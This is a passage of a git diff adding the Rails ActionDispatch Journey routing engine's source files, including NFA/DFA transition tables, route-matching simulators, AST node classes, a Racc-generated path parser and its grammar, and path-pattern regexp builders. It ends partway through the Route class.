+ next if marked[s]
+ marked[s] = true # mark s
+
+ s.group_by { |state| symbol(state) }.each do |sym, ps|
+ u = ps.map { |l| followpos(l) }.flatten
+ next if u.empty?
+
+ if u.uniq == [DUMMY]
+ from = state_id[s]
+ to = state_id[Object.new]
+ dtrans[from, to] = sym
+
+ dtrans.add_accepting(to)
+ ps.each { |state| dtrans.add_memo(to, state.memo) }
+ else
+ dtrans[state_id[s], state_id[u]] = sym
+
+ if u.include?(DUMMY)
+ to = state_id[u]
+
+ accepting = ps.find_all { |l| followpos(l).include?(DUMMY) }
+
+ accepting.each { |accepting_state|
+ dtrans.add_memo(to, accepting_state.memo)
+ }
+
+ dtrans.add_accepting(state_id[u])
+ end
+ end
+
+ dstates << u
+ end
+ end
+
+ dtrans
+ end
+
+ def nullable?(node)
+ case node
+ when Nodes::Group
+ true
+ when Nodes::Star
+ true
+ when Nodes::Or
+ node.children.any? { |c| nullable?(c) }
+ when Nodes::Cat
+ nullable?(node.left) && nullable?(node.right)
+ when Nodes::Terminal
+ !node.left
+ when Nodes::Unary
+ nullable?(node.left)
+ else
+ raise ArgumentError, 'unknown nullable: %s' % node.class.name
+ end
+ end
+
+ def firstpos(node)
+ case node
+ when Nodes::Star
+ firstpos(node.left)
+ when Nodes::Cat
+ if nullable?(node.left)
+ firstpos(node.left) | firstpos(node.right)
+ else
+ firstpos(node.left)
+ end
+ when Nodes::Or
+ node.children.map { |c| firstpos(c) }.flatten.uniq
+ when Nodes::Unary
+ firstpos(node.left)
+ when Nodes::Terminal
+ nullable?(node) ? [] : [node]
+ else
+ raise ArgumentError, 'unknown firstpos: %s' % node.class.name
+ end
+ end
+
+ def lastpos(node)
+ case node
+ when Nodes::Star
+ firstpos(node.left)
+ when Nodes::Or
+ node.children.map { |c| lastpos(c) }.flatten.uniq
+ when Nodes::Cat
+ if nullable?(node.right)
+ lastpos(node.left) | lastpos(node.right)
+ else
+ lastpos(node.right)
+ end
+ when Nodes::Terminal
+ nullable?(node) ? [] : [node]
+ when Nodes::Unary
+ lastpos(node.left)
+ else
+ raise ArgumentError, 'unknown lastpos: %s' % node.class.name
+ end
+ end
+
+ def followpos(node)
+ followpos_table[node]
+ end
+
+ private
+
+ def followpos_table
+ @followpos ||= build_followpos
+ end
+
+ def build_followpos
+ table = Hash.new { |h, k| h[k] = [] }
+ @ast.each do |n|
+ case n
+ when Nodes::Cat
+ lastpos(n.left).each do |i|
+ table[i] += firstpos(n.right)
+ end
+ when Nodes::Star
+ lastpos(n).each do |i|
+ table[i] += firstpos(n)
+ end
+ end
+ end
+ table
+ end
+
+ def symbol(edge)
+ case edge
+ when Journey::Nodes::Symbol
+ edge.regexp
+ else
+ edge.left
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
new file mode 100644
index 0000000..58ad803
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
@@ -0,0 +1,44 @@
+require 'strscan'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module GTG # :nodoc:
+ class MatchData # :nodoc:
+ attr_reader :memos
+
+ def initialize(memos)
+ @memos = memos
+ end
+ end
+
+ class Simulator # :nodoc:
+ attr_reader :tt
+
+ def initialize(transition_table)
+ @tt = transition_table
+ end
+
+ def simulate(string)
+ input = StringScanner.new(string)
+ state = [0]
+ while sym = input.scan(%r([/.?]|[^/.?]+))
+ state = tt.move(state, sym)
+ end
+
+ acceptance_states = state.find_all { |s|
+ tt.accepting? s
+ }
+
+ return if acceptance_states.empty?
+
+ memos = acceptance_states.map { |x| tt.memo(x) }.flatten.compact
+
+ MatchData.new(memos)
+ end
+
+ alias :=~ :simulate
+ alias :match :simulate
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
new file mode 100644
index 0000000..da0cddd
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
@@ -0,0 +1,156 @@
+require 'action_dispatch/journey/nfa/dot'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module GTG # :nodoc:
+ class TransitionTable # :nodoc:
+ include Journey::NFA::Dot
+
+ attr_reader :memos
+
+ def initialize
+ @regexp_states = Hash.new { |h,k| h[k] = {} }
+ @string_states = Hash.new { |h,k| h[k] = {} }
+ @accepting = {}
+ @memos = Hash.new { |h,k| h[k] = [] }
+ end
+
+ def add_accepting(state)
+ @accepting[state] = true
+ end
+
+ def accepting_states
+ @accepting.keys
+ end
+
+ def accepting?(state)
+ @accepting[state]
+ end
+
+ def add_memo(idx, memo)
+ @memos[idx] << memo
+ end
+
+ def memo(idx)
+ @memos[idx]
+ end
+
+ def eclosure(t)
+ Array(t)
+ end
+
+ def move(t, a)
+ move_string(t, a).concat(move_regexp(t, a))
+ end
+
+ def to_json
+ require 'json'
+
+ simple_regexp = Hash.new { |h,k| h[k] = {} }
+
+ @regexp_states.each do |from, hash|
+ hash.each do |re, to|
+ simple_regexp[from][re.source] = to
+ end
+ end
+
+ JSON.dump({
+ regexp_states: simple_regexp,
+ string_states: @string_states,
+ accepting: @accepting
+ })
+ end
+
+ def to_svg
+ svg = IO.popen('dot -Tsvg', 'w+') { |f|
+ f.write(to_dot)
+ f.close_write
+ f.readlines
+ }
+ 3.times { svg.shift }
+ svg.join.sub(/width="[^"]*"/, '').sub(/height="[^"]*"/, '')
+ end
+
+ def visualizer(paths, title = 'FSM')
+ viz_dir = File.join File.dirname(__FILE__), '..', 'visualizer'
+ fsm_js = File.read File.join(viz_dir, 'fsm.js')
+ fsm_css = File.read File.join(viz_dir, 'fsm.css')
+ erb = File.read File.join(viz_dir, 'index.html.erb')
+ states = "function tt() { return #{to_json}; }"
+
+ fun_routes = paths.shuffle.first(3).map do |ast|
+ ast.map { |n|
+ case n
+ when Nodes::Symbol
+ case n.left
+ when ':id' then rand(100).to_s
+ when ':format' then %w{ xml json }.shuffle.first
+ else
+ 'omg'
+ end
+ when Nodes::Terminal then n.symbol
+ else
+ nil
+ end
+ }.compact.join
+ end
+
+ stylesheets = [fsm_css]
+ svg = to_svg
+ javascripts = [states, fsm_js]
+
+ # Annoying hack for 1.9 warnings
+ fun_routes = fun_routes
+ stylesheets = stylesheets
+ svg = svg
+ javascripts = javascripts
+
+ require 'erb'
+ template = ERB.new erb
+ template.result(binding)
+ end
+
+ def []=(from, to, sym)
+ case sym
+ when String
+ @string_states[from][sym] = to
+ when Regexp
+ @regexp_states[from][sym] = to
+ else
+ raise ArgumentError, 'unknown symbol: %s' % sym.class
+ end
+ end
+
+ def states
+ ss = @string_states.keys + @string_states.values.map(&:values).flatten
+ rs = @regexp_states.keys + @regexp_states.values.map(&:values).flatten
+ (ss + rs).uniq
+ end
+
+ def transitions
+ @string_states.map { |from, hash|
+ hash.map { |s, to| [from, s, to] }
+ }.flatten(1) + @regexp_states.map { |from, hash|
+ hash.map { |s, to| [from, s, to] }
+ }.flatten(1)
+ end
+
+ private
+
+ def move_regexp(t, a)
+ return [] if t.empty?
+
+ t.map { |s|
+ @regexp_states[s].map { |re, v| re === a ? v : nil }
+ }.flatten.compact.uniq
+ end
+
+ def move_string(t, a)
+ return [] if t.empty?
+
+ t.map { |s| @string_states[s][a] }.compact
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/builder.rb b/actionpack/lib/action_dispatch/journey/nfa/builder.rb
new file mode 100644
index 0000000..ee6494c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/builder.rb
@@ -0,0 +1,76 @@
+require 'action_dispatch/journey/nfa/transition_table'
+require 'action_dispatch/journey/gtg/transition_table'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module NFA # :nodoc:
+ class Visitor < Visitors::Visitor # :nodoc:
+ def initialize(tt)
+ @tt = tt
+ @i = -1
+ end
+
+ def visit_CAT(node)
+ left = visit(node.left)
+ right = visit(node.right)
+
+ @tt.merge(left.last, right.first)
+
+ [left.first, right.last]
+ end
+
+ def visit_GROUP(node)
+ from = @i += 1
+ left = visit(node.left)
+ to = @i += 1
+
+ @tt.accepting = to
+
+ @tt[from, left.first] = nil
+ @tt[left.last, to] = nil
+ @tt[from, to] = nil
+
+ [from, to]
+ end
+
+ def visit_OR(node)
+ from = @i += 1
+ children = node.children.map { |c| visit(c) }
+ to = @i += 1
+
+ children.each do |child|
+ @tt[from, child.first] = nil
+ @tt[child.last, to] = nil
+ end
+
+ @tt.accepting = to
+
+ [from, to]
+ end
+
+ def terminal(node)
+ from_i = @i += 1 # new state
+ to_i = @i += 1 # new state
+
+ @tt[from_i, to_i] = node
+ @tt.accepting = to_i
+ @tt.add_memo(to_i, node.memo)
+
+ [from_i, to_i]
+ end
+ end
+
+ class Builder # :nodoc:
+ def initialize(ast)
+ @ast = ast
+ end
+
+ def transition_table
+ tt = TransitionTable.new
+ Visitor.new(tt).accept(@ast)
+ tt
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/dot.rb b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
new file mode 100644
index 0000000..5c33a87
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
@@ -0,0 +1,36 @@
+# encoding: utf-8
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module NFA # :nodoc:
+ module Dot # :nodoc:
+ def to_dot
+ edges = transitions.map { |from, sym, to|
+ " #{from} -> #{to} [label=\"#{sym || 'ε'}\"];"
+ }
+
+ #memo_nodes = memos.values.flatten.map { |n|
+ # label = n
+ # if Journey::Route === n
+ # label = "#{n.verb.source} #{n.path.spec}"
+ # end
+ # " #{n.object_id} [label=\"#{label}\", shape=box];"
+ #}
+ #memo_edges = memos.map { |k, memos|
+ # (memos || []).map { |v| " #{k} -> #{v.object_id};" }
+ #}.flatten.uniq
+
+ <<-eodot
+digraph nfa {
+ rankdir=LR;
+ node [shape = doublecircle];
+ #{accepting_states.join ' '};
+ node [shape = circle];
+#{edges.join "\n"}
+}
+ eodot
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
new file mode 100644
index 0000000..5b40da6
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
@@ -0,0 +1,47 @@
+require 'strscan'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module NFA # :nodoc:
+ class MatchData # :nodoc:
+ attr_reader :memos
+
+ def initialize(memos)
+ @memos = memos
+ end
+ end
+
+ class Simulator # :nodoc:
+ attr_reader :tt
+
+ def initialize(transition_table)
+ @tt = transition_table
+ end
+
+ def simulate(string)
+ input = StringScanner.new(string)
+ state = tt.eclosure(0)
+ until input.eos?
+ sym = input.scan(%r([/.?]|[^/.?]+))
+
+ # FIXME: tt.eclosure is not needed for the GTG
+ state = tt.eclosure(tt.move(state, sym))
+ end
+
+ acceptance_states = state.find_all { |s|
+ tt.accepting?(tt.eclosure(s).sort.last)
+ }
+
+ return if acceptance_states.empty?
+
+ memos = acceptance_states.map { |x| tt.memo(x) }.flatten.compact
+
+ MatchData.new(memos)
+ end
+
+ alias :=~ :simulate
+ alias :match :simulate
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
new file mode 100644
index 0000000..a3017ae
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
@@ -0,0 +1,163 @@
+require 'action_dispatch/journey/nfa/dot'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module NFA # :nodoc:
+ class TransitionTable # :nodoc:
+ include Journey::NFA::Dot
+
+ attr_accessor :accepting
+ attr_reader :memos
+
+ def initialize
+ @table = Hash.new { |h,f| h[f] = {} }
+ @memos = {}
+ @accepting = nil
+ @inverted = nil
+ end
+
+ def accepting?(state)
+ accepting == state
+ end
+
+ def accepting_states
+ [accepting]
+ end
+
+ def add_memo(idx, memo)
+ @memos[idx] = memo
+ end
+
+ def memo(idx)
+ @memos[idx]
+ end
+
+ def []=(i, f, s)
+ @table[f][i] = s
+ end
+
+ def merge(left, right)
+ @memos[right] = @memos.delete(left)
+ @table[right] = @table.delete(left)
+ end
+
+ def states
+ (@table.keys + @table.values.map(&:keys).flatten).uniq
+ end
+
+ # Returns a generalized transition graph with reduced states. The states
+ # are reduced like a DFA, but the table must be simulated like an NFA.
+ #
+ # Edges of the GTG are regular expressions.
+ def generalized_table
+ gt = GTG::TransitionTable.new
+ marked = {}
+ state_id = Hash.new { |h,k| h[k] = h.length }
+ alphabet = self.alphabet
+
+ stack = [eclosure(0)]
+
+ until stack.empty?
+ state = stack.pop
+ next if marked[state] || state.empty?
+
+ marked[state] = true
+
+ alphabet.each do |alpha|
+ next_state = eclosure(following_states(state, alpha))
+ next if next_state.empty?
+
+ gt[state_id[state], state_id[next_state]] = alpha
+ stack << next_state
+ end
+ end
+
+ final_groups = state_id.keys.find_all { |s|
+ s.sort.last == accepting
+ }
+
+ final_groups.each do |states|
+ id = state_id[states]
+
+ gt.add_accepting(id)
+ save = states.find { |s|
+ @memos.key?(s) && eclosure(s).sort.last == accepting
+ }
+
+ gt.add_memo(id, memo(save))
+ end
+
+ gt
+ end
+
+ # Returns set of NFA states to which there is a transition on ast symbol
+ # +a+ from some state +s+ in +t+.
+ def following_states(t, a)
+ Array(t).map { |s| inverted[s][a] }.flatten.uniq
+ end
+
+ # Returns set of NFA states to which there is a transition on ast symbol
+ # +a+ from some state +s+ in +t+.
+ def move(t, a)
+ Array(t).map { |s|
+ inverted[s].keys.compact.find_all { |sym|
+ sym === a
+ }.map { |sym| inverted[s][sym] }
+ }.flatten.uniq
+ end
+
+ def alphabet
+ inverted.values.map(&:keys).flatten.compact.uniq.sort_by { |x| x.to_s }
+ end
+
+ # Returns a set of NFA states reachable from some NFA state +s+ in set
+ # +t+ on nil-transitions alone.
+ def eclosure(t)
+ stack = Array(t)
+ seen = {}
+ children = []
+
+ until stack.empty?
+ s = stack.pop
+ next if seen[s]
+
+ seen[s] = true
+ children << s
+
+ stack.concat(inverted[s][nil])
+ end
+
+ children.uniq
+ end
+
+ def transitions
+ @table.map { |to, hash|
+ hash.map { |from, sym| [from, sym, to] }
+ }.flatten(1)
+ end
+
+ private
+
+ def inverted
+ return @inverted if @inverted
+
+ @inverted = Hash.new { |h, from|
+ h[from] = Hash.new { |j, s| j[s] = [] }
+ }
+
+ @table.each { |to, hash|
+ hash.each { |from, sym|
+ if sym
+ sym = Nodes::Symbol === sym ? sym.regexp : sym.left
+ end
+
+ @inverted[from][sym] << to
+ }
+ }
+
+ @inverted
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nodes/node.rb b/actionpack/lib/action_dispatch/journey/nodes/node.rb
new file mode 100644
index 0000000..935442e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nodes/node.rb
@@ -0,0 +1,124 @@
+require 'action_dispatch/journey/visitors'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module Nodes # :nodoc:
+ class Node # :nodoc:
+ include Enumerable
+
+ attr_accessor :left, :memo
+
+ def initialize(left)
+ @left = left
+ @memo = nil
+ end
+
+ def each(&block)
+ Visitors::Each.new(block).accept(self)
+ end
+
+ def to_s
+ Visitors::String.new.accept(self)
+ end
+
+ def to_dot
+ Visitors::Dot.new.accept(self)
+ end
+
+ def to_sym
+ name.to_sym
+ end
+
+ def name
+ left.tr '*:', ''
+ end
+
+ def type
+ raise NotImplementedError
+ end
+
+ def symbol?; false; end
+ def literal?; false; end
+ end
+
+ class Terminal < Node # :nodoc:
+ alias :symbol :left
+ end
+
+ class Literal < Terminal # :nodoc:
+ def literal?; true; end
+ def type; :LITERAL; end
+ end
+
+ class Dummy < Literal # :nodoc:
+ def initialize(x = Object.new)
+ super
+ end
+
+ def literal?; false; end
+ end
+
+ %w{ Symbol Slash Dot }.each do |t|
+ class_eval <<-eoruby, __FILE__, __LINE__ + 1
+ class #{t} < Terminal;
+ def type; :#{t.upcase}; end
+ end
+ eoruby
+ end
+
+ class Symbol < Terminal # :nodoc:
+ attr_accessor :regexp
+ alias :symbol :regexp
+
+ DEFAULT_EXP = /[^\.\/\?]+/
+ def initialize(left)
+ super
+ @regexp = DEFAULT_EXP
+ end
+
+ def default_regexp?
+ regexp == DEFAULT_EXP
+ end
+
+ def symbol?; true; end
+ end
+
+ class Unary < Node # :nodoc:
+ def children; [left] end
+ end
+
+ class Group < Unary # :nodoc:
+ def type; :GROUP; end
+ end
+
+ class Star < Unary # :nodoc:
+ def type; :STAR; end
+ end
+
+ class Binary < Node # :nodoc:
+ attr_accessor :right
+
+ def initialize(left, right)
+ super(left)
+ @right = right
+ end
+
+ def children; [left, right] end
+ end
+
+ class Cat < Binary # :nodoc:
+ def type; :CAT; end
+ end
+
+ class Or < Node # :nodoc:
+ attr_reader :children
+
+ def initialize(children)
+ @children = children
+ end
+
+ def type; :OR; end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/parser.rb b/actionpack/lib/action_dispatch/journey/parser.rb
new file mode 100644
index 0000000..bb4cbb0
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser.rb
@@ -0,0 +1,206 @@
+#
+# DO NOT MODIFY!!!!
+# This file is automatically generated by Racc 1.4.9
+# from Racc grammer file "".
+#
+
+require 'racc/parser.rb'
+
+
+require 'action_dispatch/journey/parser_extras'
+module ActionDispatch
+ module Journey # :nodoc:
+ class Parser < Racc::Parser # :nodoc:
+##### State transition tables begin ###
+
+racc_action_table = [
+ 17, 21, 13, 15, 14, 7, nil, 16, 8, 19,
+ 13, 15, 14, 7, 23, 16, 8, 19, 13, 15,
+ 14, 7, nil, 16, 8, 13, 15, 14, 7, nil,
+ 16, 8, 13, 15, 14, 7, nil, 16, 8 ]
+
+racc_action_check = [
+ 1, 17, 1, 1, 1, 1, nil, 1, 1, 1,
+ 20, 20, 20, 20, 20, 20, 20, 20, 7, 7,
+ 7, 7, nil, 7, 7, 19, 19, 19, 19, nil,
+ 19, 19, 0, 0, 0, 0, nil, 0, 0 ]
+
+racc_action_pointer = [
+ 30, 0, nil, nil, nil, nil, nil, 16, nil, nil,
+ nil, nil, nil, nil, nil, nil, nil, 1, nil, 23,
+ 8, nil, nil, nil ]
+
+racc_action_default = [
+ -18, -18, -2, -3, -4, -5, -6, -18, -9, -10,
+ -11, -12, -13, -14, -15, -16, -17, -18, -1, -18,
+ -18, 24, -8, -7 ]
+
+racc_goto_table = [
+ 18, 1, nil, nil, nil, nil, nil, nil, 20, nil,
+ nil, nil, nil, nil, nil, nil, nil, nil, 22, 18 ]
+
+racc_goto_check = [
+ 2, 1, nil, nil, nil, nil, nil, nil, 1, nil,
+ nil, nil, nil, nil, nil, nil, nil, nil, 2, 2 ]
+
+racc_goto_pointer = [
+ nil, 1, -1, nil, nil, nil, nil, nil, nil, nil,
+ nil ]
+
+racc_goto_default = [
+ nil, nil, 2, 3, 4, 5, 6, 9, 10, 11,
+ 12 ]
+
+racc_reduce_table = [
+ 0, 0, :racc_error,
+ 2, 11, :_reduce_1,
+ 1, 11, :_reduce_2,
+ 1, 11, :_reduce_none,
+ 1, 12, :_reduce_none,
+ 1, 12, :_reduce_none,
+ 1, 12, :_reduce_none,
+ 3, 15, :_reduce_7,
+ 3, 13, :_reduce_8,
+ 1, 16, :_reduce_9,
+ 1, 14, :_reduce_none,
+ 1, 14, :_reduce_none,
+ 1, 14, :_reduce_none,
+ 1, 14, :_reduce_none,
+ 1, 19, :_reduce_14,
+ 1, 17, :_reduce_15,
+ 1, 18, :_reduce_16,
+ 1, 20, :_reduce_17 ]
+
+racc_reduce_n = 18
+
+racc_shift_n = 24
+
+racc_token_table = {
+ false => 0,
+ :error => 1,
+ :SLASH => 2,
+ :LITERAL => 3,
+ :SYMBOL => 4,
+ :LPAREN => 5,
+ :RPAREN => 6,
+ :DOT => 7,
+ :STAR => 8,
+ :OR => 9 }
+
+racc_nt_base = 10
+
+racc_use_result_var = true
+
+Racc_arg = [
+ racc_action_table,
+ racc_action_check,
+ racc_action_default,
+ racc_action_pointer,
+ racc_goto_table,
+ racc_goto_check,
+ racc_goto_default,
+ racc_goto_pointer,
+ racc_nt_base,
+ racc_reduce_table,
+ racc_token_table,
+ racc_shift_n,
+ racc_reduce_n,
+ racc_use_result_var ]
+
+Racc_token_to_s_table = [
+ "$end",
+ "error",
+ "SLASH",
+ "LITERAL",
+ "SYMBOL",
+ "LPAREN",
+ "RPAREN",
+ "DOT",
+ "STAR",
+ "OR",
+ "$start",
+ "expressions",
+ "expression",
+ "or",
+ "terminal",
+ "group",
+ "star",
+ "symbol",
+ "literal",
+ "slash",
+ "dot" ]
+
+Racc_debug_parser = false
+
+##### State transition tables end #####
+
+# reduce 0 omitted
+
+def _reduce_1(val, _values, result)
+ result = Cat.new(val.first, val.last)
+ result
+end
+
+def _reduce_2(val, _values, result)
+ result = val.first
+ result
+end
+
+# reduce 3 omitted
+
+# reduce 4 omitted
+
+# reduce 5 omitted
+
+# reduce 6 omitted
+
+def _reduce_7(val, _values, result)
+ result = Group.new(val[1])
+ result
+end
+
+def _reduce_8(val, _values, result)
+ result = Or.new([val.first, val.last])
+ result
+end
+
+def _reduce_9(val, _values, result)
+ result = Star.new(Symbol.new(val.last))
+ result
+end
+
+# reduce 10 omitted
+
+# reduce 11 omitted
+
+# reduce 12 omitted
+
+# reduce 13 omitted
+
+def _reduce_14(val, _values, result)
+ result = Slash.new('/')
+ result
+end
+
+def _reduce_15(val, _values, result)
+ result = Symbol.new(val.first)
+ result
+end
+
+def _reduce_16(val, _values, result)
+ result = Literal.new(val.first)
+ result
+end
+
+def _reduce_17(val, _values, result)
+ result = Dot.new(val.first)
+ result
+end
+
+def _reduce_none(val, _values, result)
+ val[0]
+end
+
+ end # class Parser
+ end # module Journey
+ end # module ActionDispatch
diff --git a/actionpack/lib/action_dispatch/journey/parser.y b/actionpack/lib/action_dispatch/journey/parser.y
new file mode 100644
index 0000000..a2e1afe
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser.y
@@ -0,0 +1,47 @@
+class ActionDispatch::Journey::Parser
+
+token SLASH LITERAL SYMBOL LPAREN RPAREN DOT STAR OR
+
+rule
+ expressions
+ : expressions expression { result = Cat.new(val.first, val.last) }
+ | expression { result = val.first }
+ | or
+ ;
+ expression
+ : terminal
+ | group
+ | star
+ ;
+ group
+ : LPAREN expressions RPAREN { result = Group.new(val[1]) }
+ ;
+ or
+ : expressions OR expression { result = Or.new([val.first, val.last]) }
+ ;
+ star
+ : STAR { result = Star.new(Symbol.new(val.last)) }
+ ;
+ terminal
+ : symbol
+ | literal
+ | slash
+ | dot
+ ;
+ slash
+ : SLASH { result = Slash.new('/') }
+ ;
+ symbol
+ : SYMBOL { result = Symbol.new(val.first) }
+ ;
+ literal
+ : LITERAL { result = Literal.new(val.first) }
+ dot
+ : DOT { result = Dot.new(val.first) }
+ ;
+
+end
+
+---- header
+
+require 'action_dispatch/journey/parser_extras'
diff --git a/actionpack/lib/action_dispatch/journey/parser_extras.rb b/actionpack/lib/action_dispatch/journey/parser_extras.rb
new file mode 100644
index 0000000..14892f4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser_extras.rb
@@ -0,0 +1,23 @@
+require 'action_dispatch/journey/scanner'
+require 'action_dispatch/journey/nodes/node'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ class Parser < Racc::Parser # :nodoc:
+ include Journey::Nodes
+
+ def initialize
+ @scanner = Scanner.new
+ end
+
+ def parse(string)
+ @scanner.scan_setup(string)
+ do_parse
+ end
+
+ def next_token
+ @scanner.next_token
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/path/pattern.rb b/actionpack/lib/action_dispatch/journey/path/pattern.rb
new file mode 100644
index 0000000..d37aa1f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/path/pattern.rb
@@ -0,0 +1,196 @@
+module ActionDispatch
+ module Journey # :nodoc:
+ module Path # :nodoc:
+ class Pattern # :nodoc:
+ attr_reader :spec, :requirements, :anchored
+
+ def initialize(strexp)
+ parser = Journey::Parser.new
+
+ @anchored = true
+
+ case strexp
+ when String
+ @spec = parser.parse(strexp)
+ @requirements = {}
+ @separators = "/.?"
+ when Router::Strexp
+ @spec = parser.parse(strexp.path)
+ @requirements = strexp.requirements
+ @separators = strexp.separators.join
+ @anchored = strexp.anchor
+ else
+ raise ArgumentError, "Bad expression: #{strexp}"
+ end
+
+ @names = nil
+ @optional_names = nil
+ @required_names = nil
+ @re = nil
+ @offsets = nil
+ end
+
+ def ast
+ @spec.grep(Nodes::Symbol).each do |node|
+ re = @requirements[node.to_sym]
+ node.regexp = re if re
+ end
+
+ @spec.grep(Nodes::Star).each do |node|
+ node = node.left
+ node.regexp = @requirements[node.to_sym] || /(.+)/
+ end
+
+ @spec
+ end
+
+ def names
+ @names ||= spec.grep(Nodes::Symbol).map { |n| n.name }
+ end
+
+ def required_names
+ @required_names ||= names - optional_names
+ end
+
+ def optional_names
+ @optional_names ||= spec.grep(Nodes::Group).map { |group|
+ group.grep(Nodes::Symbol)
+ }.flatten.map { |n| n.name }.uniq
+ end
+
+ class RegexpOffsets < Journey::Visitors::Visitor # :nodoc:
+ attr_reader :offsets
+
+ def initialize(matchers)
+ @matchers = matchers
+ @capture_count = [0]
+ end
+
+ def visit(node)
+ super
+ @capture_count
+ end
+
+ def visit_SYMBOL(node)
+ node = node.to_sym
+
+ if @matchers.key?(node)
+ re = /#{@matchers[node]}|/
+ @capture_count.push((re.match('').length - 1) + (@capture_count.last || 0))
+ else
+ @capture_count << (@capture_count.last || 0)
+ end
+ end
+ end
+
+ class AnchoredRegexp < Journey::Visitors::Visitor # :nodoc:
+ def initialize(separator, matchers)
+ @separator = separator
+ @matchers = matchers
+ @separator_re = "([^#{separator}]+)"
+ super()
+ end
+
+ def accept(node)
+ %r{\A#{visit node}\Z}
+ end
+
+ def visit_CAT(node)
+ [visit(node.left), visit(node.right)].join
+ end
+
+ def visit_SYMBOL(node)
+ node = node.to_sym
+
+ return @separator_re unless @matchers.key?(node)
+
+ re = @matchers[node]
+ "(#{re})"
+ end
+
+ def visit_GROUP(node)
+ "(?:#{visit node.left})?"
+ end
+
+ def visit_LITERAL(node)
+ Regexp.escape(node.left)
+ end
+ alias :visit_DOT :visit_LITERAL
+
+ def visit_SLASH(node)
+ node.left
+ end
+
+ def visit_STAR(node)
+ re = @matchers[node.left.to_sym] || '.+'
+ "(#{re})"
+ end
+ end
+
+ class UnanchoredRegexp < AnchoredRegexp # :nodoc:
+ def accept(node)
+ %r{\A#{visit node}}
+ end
+ end
+
+ class MatchData # :nodoc:
+ attr_reader :names
+
+ def initialize(names, offsets, match)
+ @names = names
+ @offsets = offsets
+ @match = match
+ end
+
+ def captures
+ (length - 1).times.map { |i| self[i + 1] }
+ end
+
+ def [](x)
+ idx = @offsets[x - 1] + x
+ @match[idx]
+ end
+
+ def length
+ @offsets.length
+ end
+
+ def post_match
+ @match.post_match
+ end
+
+ def to_s
+ @match.to_s
+ end
+ end
+
+ def match(other)
+ return unless match = to_regexp.match(other)
+ MatchData.new(names, offsets, match)
+ end
+ alias :=~ :match
+
+ def source
+ to_regexp.source
+ end
+
+ def to_regexp
+ @re ||= regexp_visitor.new(@separators, @requirements).accept spec
+ end
+
+ private
+
+ def regexp_visitor
+ @anchored ? AnchoredRegexp : UnanchoredRegexp
+ end
+
+ def offsets
+ return @offsets if @offsets
+
+ viz = RegexpOffsets.new(@requirements)
+ @offsets = viz.accept(spec)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/route.rb b/actionpack/lib/action_dispatch/journey/route.rb
new file mode 100644
index 0000000..50e1853
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/route.rb
@@ -0,0 +1,124 @@
+module ActionDispatch
+ module Journey # :nodoc:
+ class Route # :nodoc:
+ attr_reader :app, :path, :defaults, :name
+
+ attr_reader :constraints
+ alias :conditions :constraints
+
+ attr_accessor :precedence
+
+ ##
+ # +path+ is a path constraint.
+ # +constraints+ is a hash of constraints to be applied to this route.
+ def initialize(name, app, path, constraints, defaults = {})
+ @name = name
+ @app = app
+ @path = path
+
+ @constraints = constraints
+ @defaults = defaults
+ @required_defaults = nil
+ @required_parts = nil
+ @parts = nil
+ @decorated_ast = nil
+ @precedence = 0
+ end
+
+ def ast
+ @decorated_ast ||= begin
+ decorated_ast = path.ast
+ decorated_ast.grep(Nodes::Terminal).each { |n| n.memo = self }
+ decorated_ast
+ end
+ end
+
+ def requirements # :nodoc:
+ # needed for rails `rake routes`
+ path.requirements.merge(@defaults).delete_if { |_,v|
+ /.+?/ == v
+ }
+ end
+
+ def segments
+ path.names
+ end
+
+ def required_keys
+ required_parts + required_defaults.keys
+ end
+
+ def score(constraints)
+ required_keys = path.required_names
+ supplied_keys = constraints.map { |k,v| v && k.to_s }.compact
+
+ return -1 unless (required_keys - supplied_keys).empty?
+
+ score = (supplied_keys & path.names).length
+ score + (required_defaults.length * 2)
+ end
+
+ def parts
+ @parts ||= segments.map { |n| n.to_sym }
+ end
+ alias :segment_keys :parts
+
+ def format(path_options)
+ path_options.delete_if do |key, value|
+ value.to_s == defaults[key].to_s && !required_parts.include?(key)
+ end
+
+ Visitors::Formatter.new(path_options).accept(path.spec)
+ end
+
+ def optimized_path
+ Visitors::OptimizedPath.new.accept(path.spec)
+ end
